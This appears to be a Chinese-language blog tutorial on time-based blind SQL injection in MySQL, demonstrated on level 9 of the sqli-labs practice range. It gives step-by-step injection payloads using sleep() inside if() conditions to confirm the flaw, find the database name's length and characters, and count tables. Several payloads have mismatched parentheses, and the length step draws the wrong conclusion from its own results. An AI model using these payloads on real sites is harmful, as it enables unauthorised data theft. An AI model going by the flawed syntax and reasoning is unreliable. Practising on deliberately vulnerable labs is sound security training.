SQL注入之MySQL时间注入
2022-02-28 17:24:252577浏览
当union注入用不了,布尔盲注也用不了,无论插入到什么样的sql语句,页面都没有反应,这个时候我们就可以去用到时间盲注


MySQL时间盲注课前小问题
如果说uniom注入用不了,布尔盲注也用不了,无论你插入到什么样的sql语句,它的页面都没有反应,这个时候该怎么办呢?

这个时候我们就可以去用到时间盲注了。

那什么是时间盲注呢?时间盲注:当布尔型注入没有结果(页面显示正常)的时候,我们很难去判断注入的代码是否被执行,也可以说到底这个注入点存不存在,这个时候布尔型注入就无法发挥自己的作用,基于时间的盲注就出现了,所谓基于时间的盲注,就是根据web页面响应的时间差来判断该页面是否存在sql注入点。
使用场景
1.union注入用不了,布尔注入也用不了。
演示:sqli-labs 靶场第9关

这里一直没反应,那我们这个时候就要用时间盲注了
时间盲注操作方式

A.先去判断是否存在注入

B.在去判断注入类型:字符型/数字型/搜索型。Sleep函数,我们怎么通过sleep函数来判断呢?既然它是一个时间盲注会根据这个页面的一个时间差来去判断。

延迟5秒响应,因为and左边要满足右边也要满足,那么我们就去执行一把,存在注入,必然这也响应5秒,如果不响应慢5秒的话,那么它就不可能存在注入。

C.判断能使用的注入方式,这里不能使用union注入\布尔盲注
?id=1'and 1=1 %23 页面会显正常
?id=1'and 1=2 %23 页面会显示不正常?id=1'and sleep(5)%23发现页面延迟了5秒钟响应证明sleep被带入数据库做了查询。所以是存在时间盲注的。 

D.首先获取数据库名称的长度

?id=1'and if ((length(database())>7)),sleep(5),1)%23 延时5秒?id=1'and if ((length(database())>8)),sleep(5),1)%23 不延时5

说明数据库名称长度为7位
E.获取数据库的名称
?id=1'and if ((ascii(substr(database(),1,1))>n),sleep(5),1)%23

大于114,不大于115,说明当前使用的数据库名称第一位的ascii值为115,所以查看ASCII表得为字符s


《ASCII表》
F.获取表数量
?id=1'and if ((select count(*)from information_schema.tables where table_schema=database())>4,sleep(5),1)--+延迟5秒?id=1'and if ((select count(*)from information_schema.tables where table_schema=database())>5,sleep(5),1)--+不延迟5秒G.获取后面替换expr1就行了,依次寻找名字、字段...

友情链接: